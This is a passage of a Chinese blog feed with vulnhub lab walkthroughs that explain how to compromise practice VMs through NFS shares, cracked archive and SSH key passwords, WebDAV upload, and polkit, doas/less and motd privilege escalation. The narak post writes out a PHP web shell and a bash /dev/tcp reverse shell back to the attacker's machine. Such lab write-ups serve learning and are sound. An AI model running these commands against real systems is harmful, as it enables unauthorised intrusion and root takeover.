&lt;img src=&quot;https://www.dxowo8.top/_astro/4.DyC8WcVd_rXhPa.webp&quot; alt=&quot;script&quot; /&gt;&lt;/li&gt;
&lt;li&gt;发现部分目录，以及sql注入可能。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.zdrRbWlU_1zu3Yu.webp&quot; alt=&quot;dirb&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.D8mHA2Iw_Z8b8PC.webp&quot; alt=&quot;sqli&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用ftp尝试连接目标服务器，无法匿名登录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.BLTwm1ae_8JNyW.webp&quot; alt=&quot;ftp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对于2049端口的nfs（文件共享），执行&lt;code&gt;showmount -e 192.168.245.161&lt;/code&gt;列出共享目录和&lt;code&gt;sudo mount -t nfs 192.168.245.161:/home/morris 123&lt;/code&gt;链接到本地文件夹（注意这里123目录要自己创建）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.C-Ly4i1k_1c6aho.webp&quot; alt=&quot;nfs&quot; /&gt;&lt;/li&gt;
&lt;li&gt;列出文件夹信息，读取各文件，最后在.ssh目录下找到公私钥相对有价值。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.CHPlplqR_Z2i9XQ3.webp&quot; alt=&quot;rsa&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对于公钥列出的账户进行记录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.DXHu6rY8_Z24QnlT.webp&quot; alt=&quot;morris&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试ssh远程7822端口，&lt;code&gt;ssh -i id_rsa -p 7822 morris@192.168.245.161&lt;/code&gt;，连接需要密码，暂时走不通。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.5Cgg08Ub_1dPTyD.webp&quot; alt=&quot;ssh&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试还未尝试过的目录爆破，&lt;code&gt;gobuster dir -u http://192.168.245.161 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt&lt;/code&gt;，简单查看一遍各目录，发现/backups，/mysite可能有探索价值。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.ByedhsKi_ZlhN3U.webp&quot; alt=&quot;gobuster&quot; /&gt;&lt;/li&gt;
&lt;li&gt;/backups是一段视频，网页源码探索也没有特殊发现。（这里用windows系统的浏览器可能出现打不开情况）
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.BhQtXb1z_pE06z.webp&quot; alt=&quot;backups&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对/mysite目录进行探索。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.3L4ws0K1_zXliV.webp&quot; alt=&quot;mysite&quot; /&gt;&lt;/li&gt;
&lt;li&gt;register.html为一个注册页面。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.BLeLL2Ld_2oSysX.webp&quot; alt=&quot;register&quot; /&gt;&lt;/li&gt;
&lt;li&gt;.cs后缀的这个文件点开看看。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.BGaoxZmY_waQBP.webp&quot; alt=&quot;cs&quot; /&gt;&lt;/li&gt;
&lt;li&gt;此文件为jsfuck语言（介绍见末尾补充），可能存在某些信息，可以尝试破解。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.D5yaODzZ_ZJTYzJ.webp&quot; alt=&quot;jsfuck&quot; /&gt;&lt;/li&gt;
&lt;li&gt;删去多余字符，去jsfuck.com解密,第二行疑似为密码，先记录下来。
&lt;img src=&quot;https://www.dxowo8.top/_astro/18.k-udKIBl_109Whx.webp&quot; alt=&quot;decode&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将其作为密码尝试可能用户，成功获得初始shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/19.ewJjdt_W_dHCJV.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用已知用户（norris）连接ftp，下载文件到本机。
&lt;img src=&quot;https://www.dxowo8.top/_astro/20.C2X-VfGV_cG5Ak.webp&quot; alt=&quot;pwd&quot; /&gt;&lt;/li&gt;
&lt;li&gt;图片文件中comment包含莫尔斯码，存在图片隐写，可在在线网站或工具解码内容。
&lt;img src=&quot;https://www.dxowo8.top/_astro/21.BrGo1-cY_10fIje.webp&quot; alt=&quot;comment&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/22.CxX44W8m_ZgXUHD.webp&quot; alt=&quot;morsecode&quot; /&gt;&lt;/li&gt;
&lt;li&gt;morsecode解码内容提示有一个secretfile可公开访问，继续查看其它几个备份文件，内容意义不大。
&lt;img src=&quot;https://www.dxowo8.top/_astro/23.3x57npvC_Z1Cq5qt.webp&quot; alt=&quot;writein&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对于公开访问的提示，想到查看/var/www目录下，并成功找到该文件，没有很有用的信息，但还有一个.secretfile.swp,可以将其下载到本地使用strings解读。
&lt;img src=&quot;https://www.dxowo8.top/_astro/24.Bfr2kWJJ_ZFj1ah.webp&quot; alt=&quot;strings&quot; /&gt;&lt;/li&gt;
&lt;li&gt;或者也可以使用&lt;code&gt;vim -r .secretfile.swp&lt;/code&gt;打开（使用vim编辑器的recovery恢复异常退出之前状态）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/25.POIF8bnY_1k6vbH.webp&quot; alt=&quot;recovery&quot; /&gt;&lt;/li&gt;
&lt;li&gt;怀疑该内容某个用户密码，成功切换用户为morris。
&lt;img src=&quot;https://www.dxowo8.top/_astro/26.DNPAWNre_1DJ9Hw.webp&quot; alt=&quot;pwd&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对比用户，norris 用户被加入sudo组，意味着有权限执行sudo命令，可能更有助于提权。
&lt;img src=&quot;https://www.dxowo8.top/_astro/27.DFeLqVr7_19l2FG.webp&quot; alt=&quot;morris&quot; /&gt;&lt;/li&gt;
&lt;li&gt;寻找自动任务未果，执行&lt;code&gt;/sbin/getcap -r / 2&amp;gt;/dev/nul&lt;/code&gt;，给出的tar权限&lt;code&gt;cap_dac_read_search+ep&lt;/code&gt;表示可以无视文件或目录的 r/x 权限限制，直接读取或遍历任何文件或目录，但无法修改写入。
&lt;img src=&quot;https://www.dxowo8.top/_astro/28.B-M5eclL_Z225QWM.webp&quot; alt=&quot;getcap&quot; /&gt;&lt;/li&gt;
&lt;li&gt;这也意味着可以通过打包拿到root内的文件包括flag（不多介绍）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/29.BHh_x1p2_ZwoQwh.webp&quot; alt=&quot;flag&quot; /&gt;&lt;/li&gt;
&lt;li&gt;我们继续想其它提权办法，如查找suid文件：&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/30.ilZ9VdyS_Ldvgu.webp&quot; alt=&quot;findsuid&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试利用polkit-agent-helper的权限提权，执行&lt;code&gt;systemd-run -t /bin/bash&lt;/code&gt;,调用polkit-agent-helper-1，输入密码，打开了一个root权限的shell,提权结束。
&lt;img src=&quot;https://www.dxowo8.top/_astro/31.DFoVe_Ak_23AHw9.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充与收获总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;jsfuck是JavaScript的一种编码方式，尝试用六种字符完全实现JavaScript逻辑，实现代码混淆，但很容易被反混淆，更多用于娱乐和挑战，逻辑实现原理详见文章&lt;a href=&quot;https://blog.csdn.net/gitblog_00443/article/details/150851764&quot;&gt;&apos;https://blog.csdn.net/gitblog_00443/article/details/150851764&apos;&lt;/a&gt;介绍。&lt;/li&gt;
&lt;li&gt;polkit提权原理：polkit-agent-helper作为一个代理工具，协助应用程序向PolicyKit发送授权请求，并处理来自 PolicyKit 的响应。当一个应用程序需要执行特权操作时，它会调用polkit-agent-helper，该工具会弹出一个对话框，提示用户输入其凭证（如密码），然后将这些凭证发送给PolicyKit进行验证。如果用户提供的凭证被验证成功，PolicyKit 就会授权该请求，如果Polkit配置不当，会出现提权利用点。&lt;/li&gt;
&lt;li&gt;经过我对该靶机检查，policykit对于管理员验证仍然严格，仍可以执行&lt;code&gt;systemd-run -t /bin/bash&lt;/code&gt;提权的原因是：PolicyKit配置错误地将sudo组普通用户（norris）识别为管理员，导致原本要求验证root密码的操作，接受了普通用户密码通过验证，以下为各配置情况：
(1) &lt;code&gt;cd /usr/share/polkit-1/actions/&lt;/code&gt;，该目录存在polkit各类操作验证策略文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/32.BlVjOtG6_165CEh.webp&quot; alt=&quot;conf&quot; /&gt;
(2) &lt;code&gt;cat org.freedesktop.systemd1.policy&lt;/code&gt;查看systemd验证配置，执行systemd各类命令均如选中区域，需要管理员用户密码验证，且默认保留5min无需验证。
&lt;img src=&quot;https://www.dxowo8.top/_astro/33.k511MNMN_3RFMr.webp&quot; alt=&quot;conf&quot; /&gt;
(3) &lt;code&gt;cat /etc/polkit-1/localauthority.conf.d&lt;/code&gt;，在51-debian-sudo.conf中定义了：“AdminIdentities=unix-group:sudo”，指出了验证身份为sudo组（若改为AdminIdentities=unix-user:0，则仅可以用root身份验证），由前面执行&lt;code&gt;id&lt;/code&gt;指令所见，norris用户包含于sudo组，故可通过个人用户密码执行&lt;code&gt;systemd-run -t /bin/bash&lt;/code&gt;，以root身份开启一个shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/34.CYj6WJJT_FxIEQ.webp&quot; alt=&quot;conf&quot; /&gt;&lt;/li&gt;
&lt;li&gt;本靶机提权时，看到pkexec为suid文件，也可以使用PwnKit提权漏洞（CVE-2021-4034）的脚本提权，该漏洞核心原理程序对命令行参数处理的一个越界读取，以及由此引发的环境变量写入。具体原理参考文章&lt;a href=&quot;https://cloud.tencent.com/developer/article/2625314&quot;&gt;&apos;https://cloud.tencent.com/developer/article/2625314&apos;&lt;/a&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/35.4Nbnv821_1gbTwQ.webp&quot; alt=&quot;conf&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-FourAndSix:2.01（nfs端口共享7z压缩包暴力破解，less+vi提权）</title><link>https://www.dxowo8.top/posts/post-10/10/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-10/10/</guid><description>记录FourAndSix:2.01靶机渗透过程</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-FourAndSix:2.01（nfs端口共享7z压缩包暴力破解，less+vi提权）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的FourAndSix:2.01靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/fourandsix-201,266/&quot;&gt;&apos;https://vulnhub.com/entry/fourandsix-201,266/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;nmap -sn 192.168.245.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.245.159为靶机。（192.168.245.136为我的kali虚拟机的地址）&lt;/li&gt;
&lt;li&gt;并进行端口发现，执行&lt;code&gt;nmap --min-rate 10000 -p- 192.168.245.159&lt;/code&gt;，并对开放端口记录用于后续渗透，发现22、111、720、2049端口，并观察端口服务，2049端口为nfs文件共享服务，可以尝试寻找突破口。&lt;/li&gt;
&lt;li&gt;对端口进行详细扫描，执行&lt;code&gt;nmap -sT -sV -sC -O -p22,111,720,2049 192.168.245.159&lt;/code&gt;，得到端口详细服务内容和系统版本。&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;sudo nmap --script=vuln -p80,111,777 192.168.245.159&lt;/code&gt;用脚本扫一下漏洞，没有什么新发现。&lt;/li&gt;
&lt;li&gt;执行 &lt;code&gt;showmount -e 192.168.245.159&lt;/code&gt;目的为查看目标开了哪些 NFS 共享目录，获得路径/home/user/storage。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.xYSqi7-z_Z1oxCrc.webp&quot; alt=&quot;showmount&quot; /&gt;&lt;/li&gt;
&lt;li&gt;创建名为123的目录，执行&lt;code&gt;sudo mount -t nfs 192.168.245.159:/home/user/storage 123&lt;/code&gt;，将共享文件夹目录链接到本地目录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.CFxJX-vw_Z1D5riD.webp&quot; alt=&quot;mountt&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将其中的压缩包提取到本地目录，尝试解压缩，需要密码，尝试空密码无效。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.BGhES5Rj_21YXcr.webp&quot; alt=&quot;7z&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;7z2john backup.7z &amp;gt; backup7z_hash&lt;/code&gt;，从加密的 7z 压缩包中提取密码哈希值。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.CLU0rGIC_10tP0C.webp&quot; alt=&quot;hash&quot; /&gt;&lt;/li&gt;
&lt;li&gt;接着执行&lt;code&gt;john --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z_hash&lt;/code&gt;进行破解，破解出密码为chocolate。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.B1R1u4JU_Z2tWijd.webp&quot; alt=&quot;pw&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用密码解压，查看内容，有八个图片，图像层面没有什么收获。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.DxTnz-MK_29RcsP.webp&quot; alt=&quot;jpeg&quot; /&gt;&lt;/li&gt;
&lt;li&gt;分别用file、binwalk、exiftool查看文件真实类型，有无捆绑，有无注释内容。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.B22Ue3r-_2v0TsP.webp&quot; alt=&quot;filebinwalk&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.D4AzG4On_1fypIm.webp&quot; alt=&quot;exiftool&quot; /&gt;&lt;/li&gt;
&lt;li&gt;接下来查看很有价值的两个文件，公钥私钥文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.8dFbAzQn_1H3Qyg.webp&quot; alt=&quot;rsa&quot; /&gt;&lt;/li&gt;
&lt;li&gt;用私钥文件进行ssh连接，需要passphrase说明私钥可能为加密，要对私钥解密。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.DY6n8B4N_24P98e.webp&quot; alt=&quot;passphrase&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用ssh2john破解，类似7z2john的步骤，对私钥文件执行&lt;code&gt;ssh2john id_rsa &amp;gt; id_rsa_hash&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.BGQjZ7BD_ZgRgEU.webp&quot; alt=&quot;ssh2john&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash&lt;/code&gt;开始破解其passphrase，为12345678。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.D2fZ0Hr-_Z14Q2Kx.webp&quot; alt=&quot;john&quot; /&gt;&lt;/li&gt;
&lt;li&gt;重新连接，成功获得初始shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.DZLX0vtP_ZxNe62.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;查看用户，为用户组内user用户，&lt;code&gt;find / -group user -type f 2&amp;gt;/dev/null&lt;/code&gt;搜索有权限文件，&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;/code&gt;查找suid特权文件，看到doas，可以尝试通过doas提权。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.DgbU3YSd_PBFHm.webp&quot; alt=&quot;find&quot; /&gt;&lt;/li&gt;
&lt;li&gt;打开doas.conf配置文件，这两行说明user能用less（一个文件查看工具）以root身份无密码打开/var/log/authlog，按照提示执行&lt;code&gt;doas /usr/bin/less /var/log/authlog&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.Cb0S0nvn_Z2m0zjw.webp&quot; alt=&quot;mountt&quot; /&gt;&lt;/li&gt;
&lt;li&gt;用less命令读日志，为提升权限状态查看，按键盘v打开vi编辑器，在vi编辑器中执行:!/sh，获得root权限。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.BLey8gOE_Z2g8KXH.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;对于doas的详细用法，可以参考&lt;a href=&quot;https://sspai.com/post/64843&quot;&gt;&apos;https://sspai.com/post/64843&apos;&lt;/a&gt;,doas.conf作为给普通用户分配提权权限的配置文件，和sudoers比较相似，通过该文件可以引导提权的开展。&lt;/li&gt;
&lt;li&gt;如果NFS文件共享服务出现目录&lt;code&gt;/tmp   * &lt;/code&gt;,代表任何人能够挂载，可以尝试上传文件获取shell。&lt;/li&gt;
&lt;li&gt;NFS 默认有 root_squash 规则，会限制提权，当为默认值root_squash时获取shell为低权限用户，值为no_root_squash时可以获取root的shell，值为all_squash时仅有读写权限，无法提权。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-narak（基于udp的tftp连接、dav渗透和motd提权）</title><link>https://www.dxowo8.top/posts/post-11/11/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-11/11/</guid><description>记录narak靶机渗透过程</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-narak（基于udp的tftp连接、dav渗透和motd提权）&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的narak靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/ha-narak,569/&quot;&gt;&apos;https://vulnhub.com/entry/ha-narak,569/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;nmap -sn 192.168.245.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.245.160为靶机。（192.168.245.136为我的kali虚拟机的地址）
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.CoqgPu10_Z1o78J.webp&quot; alt=&quot;scan&quot; /&gt;&lt;/li&gt;
&lt;li&gt;并进行端口发现，执行&lt;code&gt;nmap --min-rate 10000 -p- 192.168.245.160&lt;/code&gt;，并对开放端口记录用于后续渗透，发现22、80端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.SB2pOINt_Z5XJ6A.webp&quot; alt=&quot;ports&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行详细扫描，执行&lt;code&gt;nmap -sT -sV -sC -O -p22,80 192.168.245.160&lt;/code&gt;，得到端口详细服务内容和系统版本。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.BKZ-Mkx9_Zc0sSy.webp&quot; alt=&quot;details&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;sudo nmap --script=vuln -p80,111,777 192.168.245.160&lt;/code&gt;用脚本扫一下漏洞，发现一些目录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.DdKmwwZF_Z1hpTEW.webp&quot; alt=&quot;script&quot; /&gt;&lt;/li&gt;
&lt;li&gt;简单浏览80端口，进行目录爆破，还是上面给出的/images,/webdav目录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.BcWF8FiP_2p9k4Q.webp&quot; alt=&quot;dirb&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看目录，/images是存放主页图片文件夹，/webdav需要一个用户密码才能访问，弱密码尝试无效。继续深入目录爆破，增加参数执行&lt;code&gt;gobuster dir -u http://192.168.245.160 -x txt,zip,rar -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt&lt;/code&gt;，获得一个tips.txt。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.D1f9Duog_uyDqQ.webp&quot; alt=&quot;dirbcontinue&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看tips.txt，提示有个creds.txt文件包含下一步信息。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.B2VM-TXY_ZBIVsM.webp&quot; alt=&quot;dirbcontinue&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对于我们常常忽略的udp端口其实应当扫描，本靶机的tftp（文末会补充相关内容）可能开着，可以尝试连接。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.Bx6I6fsH_1poQzl.webp&quot; alt=&quot;udp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;TFTP是一种轻量级的文件传输协议，可以从目标服务器下载和上传文件，尝试刚才提到的creds.txt
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.Cv4xRs-3_45eJd.webp&quot; alt=&quot;tftp&quot; /&gt;&lt;/li&gt;
&lt;li&gt;下载到该文件，获得一串字符，特征很像base64尝试解密。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.L4_JffQ1_Z2gTewT.webp&quot; alt=&quot;txt&quot; /&gt;&lt;/li&gt;
&lt;li&gt;解密出一对用户名密码yamdoot:Swarg，可用来尝试ssh连接，连接不上，尝试用于刚才webdav的用户密码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.t4ONr0PV_1ofMfG.webp&quot; alt=&quot;b64&quot; /&gt;&lt;/li&gt;
&lt;li&gt;成功登录webdav。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.CmLexmtW_Z1xyqBh.webp&quot; alt=&quot;webdav&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;davtest -url http://192.168.245.160/webdav -auth yamdoot:Swarg&lt;/code&gt;对webdav进行上传测试，并给出文件上传和可执行情况，发现php是支持的。&lt;/li&gt;
&lt;li&gt;用cadaver工具连接webdav，准备制作上传shell.php（创建shell.php写入&lt;code&gt;&amp;lt;?php exec(&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.245.136/1234 0&amp;gt;&amp;amp;1&apos;&quot;); ?&amp;gt;&lt;/code&gt;）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.C7v9M_Rh_BiYn3.webp&quot; alt=&quot;davtest&quot; /&gt;&lt;/li&gt;
&lt;li&gt;put上传shell.php。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.BKdMC59W_1jGg7k.webp&quot; alt=&quot;put&quot; /&gt;&lt;/li&gt;
&lt;li&gt;开启监听并访问shell.php，获得www-data的shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.Bk_j5NTq_Z1HBzm.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;分别执行&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;/code&gt; 找suid文件，&lt;code&gt;find / -writable -type f -not -path &quot;/proc/*&quot; -not -path &quot;/sys/*&quot; 2&amp;gt;/dev/null&lt;/code&gt;找可写文件，列出的/mnt/hell.sh，motd（Message of the Day，是一个在用户登录后显示的消息文件），users.password，这几个文件都应该注意。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.BWDCj-Hm_Zec9hn.webp&quot; alt=&quot;find&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看users.password，还是一样的用户密码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.96aAfDfz_ZRnr59.webp&quot; alt=&quot;pwd&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看hell.sh信息，有一段brainfuck语言，保存到bf文件，用于解密。
&lt;img src=&quot;https://www.dxowo8.top/_astro/18.JgJWFvvT_1MldSY.webp&quot; alt=&quot;bf&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用beef工具解密其为chitragupt，可能是哪个用户的密码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/19.CxiP04m-_ZqnFBX.webp&quot; alt=&quot;beef&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat /etc/passwd&lt;/code&gt;寻找有bash环境的用户，如inferno。
&lt;img src=&quot;https://www.dxowo8.top/_astro/20.D6L7p1mO_1ux51W.webp&quot; alt=&quot;pwd&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试用&lt;code&gt;chitragupt&lt;/code&gt;作为密码，ssh连接成功。
&lt;img src=&quot;https://www.dxowo8.top/_astro/21.D6CVjI6E_Z28BQ1I.webp&quot; alt=&quot;ssh&quot; /&gt;&lt;/li&gt;
&lt;li&gt;连接后看到欢迎界面，结合之前找到的motd文件，我们&lt;code&gt;cd /etc/update-motd.d/&lt;/code&gt;，&lt;code&gt;cat 00-header&lt;/code&gt;，看到该环境为!/bin/sh，准备在后面写入shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/22.71Y3wZlN_Zpxntz.webp&quot; alt=&quot;motd.d&quot; /&gt;&lt;/li&gt;
&lt;li&gt;如图写入&lt;code&gt;bash -c &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.245.136/4444 0&amp;gt;&amp;amp;1&quot;&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/23.Dc1sudda_LG6Oz.webp&quot; alt=&quot;writein&quot; /&gt;&lt;/li&gt;
&lt;li&gt;打开监听并重新登入inferno账户，将执行00-header，成功获得root权限。
&lt;img src=&quot;https://www.dxowo8.top/_astro/24.CXSuITtt_1Bp4wP.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;WebDAV是一种基于HTTP协议的扩展，允许用户通过网络对远程主机上的文件进行读写、编辑和删除操作。
详细可看文章&lt;a href=&quot;https://www.cnblogs.com/xiefengdaxia123/p/17581325.html&quot;&gt;&apos;https://www.cnblogs.com/xiefengdaxia123/p/17581325.html&apos;&lt;/a&gt;介绍。&lt;/li&gt;
&lt;li&gt;当tcp协议各端口渗透无太大进展时，尝试udp探测，如该靶机的tftp服务（这里其实尝试过上传php文件但是应该被禁止上传文件了，其它靶机可以尝试）。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;资料：TFTP（Trivial File Transfer Protocol，简单文件传输协议） 是一种用于在客户端和服务器之间进行简单文件传输的协议。使用UDP进行数据传输，端口号为69。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>vulnhub靶机-nullbyte(sql注入)</title><link>https://www.dxowo8.top/posts/post-9/9/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-9/9/</guid><description>记录nullbyte靶机渗透记录</description><pubDate>Wed, 25 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-nullbyte(sql注入)&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的nullbyte靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/nullbyte-1,126/&quot;&gt;&apos;https://vulnhub.com/entry/nullbyte-1,126/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，首先打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;nmap -sn 192.168.245.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.245.158为靶机。（192.168.245.136为我的kali虚拟机的地址）
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.BfYGkf3o_AqbxC.webp&quot; alt=&quot;ip&quot; /&gt;&lt;/li&gt;
&lt;li&gt;并进行端口发现，执行&lt;code&gt;nmap --min-rate 10000 -p- 192.168.245.158&lt;/code&gt;，并对开放端口记录用于后续渗透，发现80、111、777端口，并观察端口服务。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.CJjzV62W_mSe4s.webp&quot; alt=&quot;ports&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行详细扫描，执行&lt;code&gt;nmap -sT -sV -sC -O -p9999,10000 192.168.245.158&lt;/code&gt;，得到端口详细服务内容（80为http服务，111为rpcbind，777为ssh连接）和系统版本。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.tSuVDSkJ_ZcwmRa.webp&quot; alt=&quot;details&quot; /&gt;&lt;/li&gt;
